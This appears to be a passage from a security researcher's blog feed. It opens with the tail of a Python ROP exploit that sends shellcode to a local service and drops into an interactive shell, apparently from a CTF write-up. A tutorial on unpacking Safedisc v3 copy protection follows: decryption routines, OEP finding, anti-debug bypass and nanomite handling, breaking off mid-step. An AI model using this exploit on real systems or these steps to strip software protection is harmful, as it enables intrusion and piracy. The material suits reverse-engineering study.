class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r13</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">),</span> <span class="c"># xor eax, eax ; pop rdi ; retn</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x13370000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000031</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x278</span><span class="p">),</span> <span class="c"># pop rdx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000007</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">send_addr</span> <span class="o">-</span> <span class="mh">0x51e0</span> <span class="p">),</span> <span class="c"># mmap()</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x7E5</span><span class="p">),</span> <span class="c"># pop r12 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x13370000</span><span class="p">),</span> <span class="c"># r12 = ....</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x50D</span><span class="p">),</span> <span class="c"># pop r13; pop r14 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x470</span><span class="p">),</span> <span class="c"># mov rsi, r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r10</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbx</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbp</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r13</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x278</span><span class="p">),</span> <span class="c"># pop rdx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x42</span><span class="p">),</span> <span class="c"># pop rdi ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">-</span> <span class="mh">0x270</span><span class="p">),</span> <span class="c"># recv()</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x13370000</span><span class="p">),</span> <span class="c"># r12 = ....</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">-</span> <span class="mh">0x110</span><span class="p">),</span> <span class="c"># exit DBG</span> <span class="p">]</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">518</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x4B</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">gadgets</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">gadgets</span><span class="p">:</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">519</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x4B</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">519</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\xA1</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\x90</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\x90</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05</span><span class="s">&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x90</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">50</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x90</span><span class="s">&quot;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">4096</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="n">enjoyshell</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">def</span> <span class="nf">enjoyshell</span><span class="p">(</span><span class="n">s</span><span class="p">):</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="k">print</span> <span class="s">&quot;&gt;&quot;</span><span class="p">,</span> <span class="n">cmd</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">()</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">cmd</span><span class="p">:</span> <span class="k">break</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">cmd</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">65536</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">&quot;localhost&quot;</span><span class="p">,</span> <span class="mi">10100</span><span class="p">))</span> <span class="n">addr_return</span> <span class="o">=</span> <span class="n">leak_return_addr</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">print</span> <span class="s">&quot;[+] Addr leak = &quot;</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">addr_return</span><span class="p">)</span> <span class="n">stage1</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">addr_return</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">&#39;__main__&#39;</span><span class="p">:</span> <span class="n">main</span><span class="p">()</span> </code></pre> http://blog.w4kfu.compost/crunchtime 2013-02-21T13:43:46Z 2013-02-21T13:43:46Z Unpackme I am Famous w4kfu <h2>Introduction</h2> <p>Because it is simply obvious that I have not been posting on this blog for a while, here is a post about Safedisc v3.<br/> Last week I was studying this protection in deep, each component under IDA, but I accidentally broke my external hard drive by giving a shot in. I lost a lot of .idb from different games, softwares or malware, my personal toolz, unpackers, ...<br/> So to smile again I decided to write about how to unpack this protection.<br/> For those familiar with safedisc, the only interesting part will be Nanomites, restoring Imports or emulated opcodes is a joke when you know how older versions work.<br/></p> <h2>Extra data</h2> <p>During introduction I talked about different components, they are placed at the end of the file.<br/> The size of the target game is 1 830 912 bytes, but if we look IMAGE_SECTION_HEADER closely :</p> <pre><code> Name VirtSize VirtAddr SizeRaw PtrRaw Flags Pointing Directories ------------------------------------------------------------------------------------------- .text 00131148h 00401000h 00132000h 00001000h 60000020h .rdata 0002F497h 00533000h 00030000h 00133000h 40000040h Debug Data .data 012CDCE8h 00563000h 0000D000h 00163000h C0000040h .rsrc 0003289Eh 01831000h 00033000h 00170000h 40000040h Resource Table stxt774 00002059h 01864000h 00003000h 001A4000h E0000020h stxt371 00003358h 01867000h 00004000h 001A7000h E0000020h Import Table Import Address Table </code></pre> <p>If we sum the last Real Offset and Real Size of stxt371 section :</p> <pre><code>&gt;&gt;&gt; 0x1A7000 + 0x4000 1748992 &gt;&gt;&gt; hex(0x1A7000 + 0x4000) '0x1ab000' </code></pre> <p>1 748 992 bytes != 1 830 912 bytes.<br/> Clearly there is some extra data at the end of the file.<br/> By looking the main executable under IDA, I was able to find an interesting sub that retrieves and extracts those datas.<br/> First, here is the structure used for extra data :</p> <pre><code>struct extra_data { DWORD sig_1; DWORD sig_2; DWORD num_file; DWORD offset_1; DWORD offset_2; DWORD unknow_1; DWORD unknow_2; BYTE name[0xD]; }; </code></pre> <p>sig_1 must always be set to 0xA8726B03 and sig_2 to 0xEF01996C<br/> And after deleting all there (weak?) obfuscation, we can retrieve the following &quot;pseudo code&quot; to extract additionnal data.<br/></p> <pre><code>do { SetFilePointer(hFile, actual_pos, NULL, FILE_BEGIN); ReadFile(hFile, buff, 0x121, &bread, 0); key = actual_pos; for (i = 0; i < bread; i++) { key = key * 0x13C6A5; key += 0x0D8430DED; buff[i] ^= (((((key >> 0x10) ^ (key >> 0x8)) ^ (key >> 0x18)) ^ (key & 0xFF)) & 0xFF); } memcpy(&data, buff, sizeof(struct extra_data)); print_data_info(&data); actual_pos += data.offset_1 + data.offset_2; } while (data.sig_1 == 0xA8726B03 && data.sig_2 == 0xEF01996C);</code></pre> <p>Result :</p> <pre><code>Name : ~def549.tmp Num : 1 Name : clcd32.dll Num : 1100 Name : clcd16.dll Num : 1100 Name : mcp.dll Num : 1101 Name : SECDRV.SYS Num : 2 Name : DrvMgt.dll Num : 2 Name : SecDrv04.VxD Num : 11 Name : ~e5.0001 Num : 0 Name : PfdRun.pfd Num : 0 Name : ~df394b.tmp Num : 0 </code></pre> <p>As you can see we can extract a lot of files, and here is the algorithm to decypher it :</p> <pre><code>ptr = (BYTE*)GlobalAlloc(GPTR, data.offset_1); SetFilePointer(hFile, actual_pos - data.offset_1, NULL, FILE_BEGIN); ReadFile(hFile, ptr, data.offset_1, &bread, NULL); if (bread != data.offset_1) { printf("[-] ReadFile() failed\n"); exit(0); } key = 0x8142FEA1; int init_key; init_key = 0x8142FEA1; for (i = 0; i < bread; i++) { key = init_key ^ 0x7F6D09ED; ptr[i] = (((((key >> 0x18) ^ (key >> 0x10)) ^ (key >> 0x8))) & 0xFF) ^ ptr[i]; ptr[i] ^= key & 0xFF; init_key = init_key << 0x8; init_key += ptr[i]; } </code></pre> <p>Each component will be extracted into %temp% path, they got their own goal, we will not study all of them there is no interest.<br/></p> <ul> <li>~def549.tmp, a DLL, whose goal is to call different anti-debug technics (not interesting), check files on CD-ROM, ...</li> <li>~e5.0001, an executable, this process will debug the main executable, for managing Nanomites.</li> <li>PfdRun.pfd, No type, This file will de decyphered for computing instruction table used for emulated opcodes.</li> <li>~df394b.tmp, another DLL, Load and decyph section from other DLL, and manage debug event for ~e5.0001 process.</li> </ul> <p>I will not discuss more about all this stuff, by loosing all my idb I am bored to reverse (rename sub) again and again with all this shitty C++ stuff, you can find some fun crypto when they decypher pfd file or code section, rijndael modified, different xor operation, anyway let's continue !</p> <h2>Find OEP</h2> <p>This is the easiest part :</p> <pre><code><span style="color:black">stxt371:018670A2 </span><span style="color:navy">mov ebx, offset </span>start <span style="color:black">stxt371:018670A7 </span><span style="color:navy">xor ecx, ecx </span><span style="color:black">stxt371:018670A9 </span><span style="color:navy">mov cl, ds:byte_186703D </span><span style="color:black">stxt371:018670AF </span><span style="color:navy">test ecx, ecx </span><span style="color:black">stxt371:018670B1 </span><span style="color:navy">jz short loc_18670BF </span><span style="color:black">stxt371:018670B3 </span><span style="color:navy">mov eax, offset loc_1867113 </span><span style="color:black">stxt371:018670B8 </span><span style="color:navy">sub eax, ebx </span><span style="color:black">stxt371:018670BA </span><span style="color:navy">sub eax, </span><span style="color:green">5 </span><span style="color:black">stxt371:018670BD </span><span style="color:navy">jmp short loc_18670CD </span><span style="color:black">stxt371:018670BF ; --------------------------------------------------------------------------- stxt371:018670BF stxt371:018670BF </span><span style="color:navy">loc_18670BF: </span><span style="color:green">; CODE XREF: start+13j </span><span style="color:black">stxt371:018670BF </span><span style="color:navy">push ecx </span><span style="color:black">stxt371:018670C0 </span><span style="color:navy">mov ecx, offset loc_1867159 </span><span style="color:black">stxt371:018670C5 </span><span style="color:navy">mov eax, ecx </span><span style="color:black">stxt371:018670C7 </span><span style="color:navy">sub eax, ebx </span><span style="color:black">stxt371:018670C9 </span><span style="color:navy">add eax, [ecx+</span><span style="color:green">1</span><span style="color:navy">] </span><span style="color:black">stxt371:018670CC </span><span style="color:navy">pop ecx </span><span style="color:black">stxt371:018670CD stxt371:018670CD </span><span style="color:navy">loc_18670CD: </span><span style="color:green">; CODE XREF: start+1Fj </span><span style="color:black">stxt371:018670CD </span><span style="color:navy">mov byte ptr [ebx], </span><span style="color:green">0E9h </span><span style="color:black">stxt371:018670D0 </span><span style="color:navy">mov [ebx+</span><span style="color:green">1</span><span style="color:navy">], eax </span></code></pre> <p>This code will replace Module Entrypoint by a jump to Real OEP, so if you like using OllyDbg execute first instructions and put a breakpoint on that jump.<br/> But you will encounter a &quot;dead lock&quot; problem, before jumping to real OEP, it decyphers sections, loads dll AND CreateProcess &quot;~e5.0001&quot; giving the pid of the game process as argument.<br/> This process will load ~df394b.tmp aka SecServ.dll, all strings inside this dll are encrypted, we can decrypt all of them :</p> <pre><code>int decrypt_func_01(char *mem_alloc, char *addr_to_decrypt) { DWORD count; DWORD key; char actual; if (mem_alloc && addr_to_decrypt) { count = 0; key = 0x522CFDD0; while (1) { actual = *addr_to_decrypt++; actual = actual ^ (char)key; *mem_alloc++ = actual; key = 0xA065432A - 0x22BC897F * key; if (!actual) break; if (count != 127) { count++; continue; } return 0; } return 1; } else return 0; }</code></pre> <p>Here is the result of all strings decyphered :</p> <pre><code>Addr = 667A9240 : drvmgt.dll Addr = 667A9264 : secdrv.sys Addr = 667A9298 : SecDrv04.VxD Addr = 667A92BC : ALT_ Addr = 667A9C78 : Kernel32 Addr = 667AA71C : \\.\NTICE Addr = 667AA73C : \\.\SICE Addr = 667AA75C : \\.\SIWVID Addr = 667AAB80 : .text Addr = 667A9928 : Ntdll.dll Addr = 667A9948 : Kernel32 Addr = 667AA3F0 : GetVersionExA Addr = 667AA6BC : ZwQuerySystemInformation Addr = 667AA6EC : NtQueryInformationProcess Addr = 667AA780 : IsDebuggerPresent Addr = 667AAB50 : ZwQuerySystemInformation Addr = 667AADBC : ExitProcess Addr = 667A99F8 : DeviceIoControl Addr = 667A9A40 : CreateFileA Addr = 667A9A64 : ReadProcessMemory Addr = 667A9A8C : WriteProcessMemory Addr = 667A9AB8 : VirtualProtect Addr = 667A9AE0 : CreateProcessA Addr = 667A9B08 : CreateProcessW Addr = 667A9B30 : GetStartupInfoA Addr = 667A9B58 : GetStartupInfoW Addr = 667A9B80 : GetSystemTime Addr = 667A9BA4 : GetSystemTimeAsFileTime Addr = 667A9BD4 : TerminateProcess Addr = 667A9BFC : Sleep Addr = 667AB8C0 : WriteProcessMemory Addr = 667AB8EC : FlushInstructionCache Addr = 667AB918 : VirtualProtect Addr = 667ABB90 : SetThreadContext Addr = 667ABBB8 : GetThreadContext Addr = 667ABBE0 : SuspendThread Addr = 667ABB64 : FlushInstructionCache Addr = 667ABB38 : WriteProcessMemory Addr = 667ABC84 : ContinueDebugEvent Addr = 667ABB0C : DebugActiveProcess Addr = 667ABAE4 : WaitForDebugEvent Addr = 667A99F8 : DeviceIoControl Addr = 667ACF00 : System\CurrentControlSet\Services\VxD Addr = 667ACF5C : cmapieng.vxd Addr = 667ACF3C : StaticVxD </code></pre> <p>The most interesting things are DebugActiveProcess, ContinueDebugEvent, WriteProcessMemory, FlushInstructionCache, SetThreadContext.<br/> As I said earlier this dll will be in charge of debugging the game process, it prevents debugging it with Olly or any Ring3 debugger.<br/> The game process after calling CreateProcess will wait (WaitForSingleObject) signal that temp executable will attach to it and give it signal and continue to debug it, but if you are already debugging game process, WaitForSingleObject will never catch this signal.<br/> All the code below can be found inside ~df394.tmp aka SecServ.dll :</p> <pre><code><span style="color:black">.text:667250C1 .text:667250C1 </span><span style="color:navy">loc_667250C1: </span><span style="color:green">; CODE XREF: sub_66724FDE+D5j </span><span style="color:black">.text:667250C1 </span><span style="color:navy">push </span><span style="color:green">0FFFFFFFFh </span><span style="color:black">; dwMilliseconds .text:667250C3 </span><span style="color:navy">push edi </span><span style="color:black">; hHandle .text:667250C4 </span><span style="color:navy">call ds:</span><span style="color:#ff00ff">WaitForSingleObject </span><span style="color:black">.text:667250CA </span><span style="color:navy">push [ebp+</span><span style="color:green">hObject</span><span style="color:navy">] </span><span style="color:black">; hObject .text:667250CD </span><span style="color:navy">mov [ebp+</span><span style="color:green">return_value</span><span style="color:navy">], eax </span><span style="color:black">.text:667250D0 </span><span style="color:navy">call esi </span><span style="color:black">; </span><span style="color:#ff00ff">CloseHandle </span><span style="color:black">.text:667250D2 </span><span style="color:navy">push edi </span><span style="color:black">; hObject .text:667250D3 </span><span style="color:navy">call esi </span><span style="color:black">; </span><span style="color:#ff00ff">CloseHandle </span><span style="color:black">.text:667250D5 </span><span style="color:navy">cmp [ebp+</span><span style="color:green">return_value</span><span style="color:navy">], </span><span style="color:green">0 </span><span style="color:black">; WAIT_OBJECT_0 .text:667250D9 </span><span style="color:navy">pop edi </span><span style="color:black">.text:667250DA </span><span style="color:navy">pop esi </span><span style="color:black">.text:667250DB </span><span style="color:navy">jz short </span><span style="color:#550000">exit_func </span><span style="color:black">.text:667250DD </span><span style="color:navy">call ebx </span><span style="color:black">; </span><span style="color:#ff00ff">GetLastError </span><span style="color:black">.text:667250DF </span><span style="color:navy">call </span>Exit_Process <span style="color:black">.text:667250E4 .text:667250E4 </span><span style="color:#550000">exit_func</span><span style="color:navy">: </span><span style="color:green">; CODE XREF: sub_66724FDE+11j </span><span style="color:black">.text:667250E4 </span><span style="color:green">; sub_66724FDE+20j ... </span><span style="color:black">.text:667250E4 </span><span style="color:navy">pop ebx </span><span style="color:black">.text:667250E5 </span><span style="color:navy">leave </span><span style="color:black">.text:667250E6 </span><span style="color:navy">retn </span><span style="color:black">.text:667250E6 </span>sub_66724FDE endp <span style="color:black">.text:667250E6 </span></code></pre> <p>If you want to use OllyDBG, put a breakpoint on WaitForSingleObject call, and modify argument TIMEOUT to something different than INFINITE, and change ZF flag during the test of the return value.<br/></p> <h2>Nanomites</h2> <p>Now the fun stuff can start, if you followed what I said, you can continue to debug game process, but at a moment you will encounter problem like follow :</p> <pre><code><span style="color:maroon">.text:004519FC </span><span style="color:navy">call ds:dword_5331B0 </span><span style="color:black">; kernel32.IsBadReadPtr </span><span style="color:maroon">.text:004519FC </span><span style="color:black">; --------------------------------------------------------------------------- </span><span style="color:#3b3b3b">.text:00451A02 </span><span style="color:navy">db </span><span style="color:#008040">0CCh </span><span style="color:olive">.text:00451A03 </span><span style="color:navy">db </span><span style="color:#008040">0CCh </span><span style="color:black">; </span><span style="color:olive">.text:00451A04 </span><span style="color:navy">db </span><span style="color:#008040">0CCh </span><span style="color:black">; </span><span style="color:olive">.text:00451A05 </span><span style="color:navy">db </span><span style="color:#008040">0CCh </span><span style="color:black">; </span></code></pre> <p>What are doing these 0xCC (int 3) aka Trap to Debugger or software breakpoint after a call to a kernel32 API ?<br/> It's a well known technique, instructions are replaced by this opcode and informations about the removed opcode is stored in a table. (Remember pfd file ?)<br/> Then, by using self-debugging, when one of these breakpoints is hit, the debugging process will handle the debug exception, and will look up certain information about the debugging break.<br/></p> <ul> <li>Is it a Nanomite ?</li> <li>Yes ! So I have to emulate the removed opcode</li> <li>And restore the context of the thread correctly</li> </ul> <p>But the problem is, if Nanomites are called several times, it can impact a little the performance, right ? (Not anymore today), but Safedisc decided to count how much time a Nanomite is executed, and if this Nanomite is executed too much time, it will restore the replaced opcodes by writting it inside the debugged process.<br/> So if we want to fix theses Nanomites, we just have to patch a branch instruction that say : &quot;This nanomites has been executed too much time, restore opcode !&quot;, and scan txt section of game process to find all the nanomites, call them, and the debugger process will restore all the removed opcode :).<br/></p> <h3>How To</h3> <p>When unpacking (real?) protection you need to write cool toolz, here are all the steps that I did :</p> <ul> <li>Create Game process in suspended state</li> <li>Inject a first (malicious?) dll into it and continue execution</li> <li>This first dll will setup an Hook on CreateProcessA, the goal of this task is when the debugger process ( ~e5.0001 ) will be created, it will change the dwCreationFlags 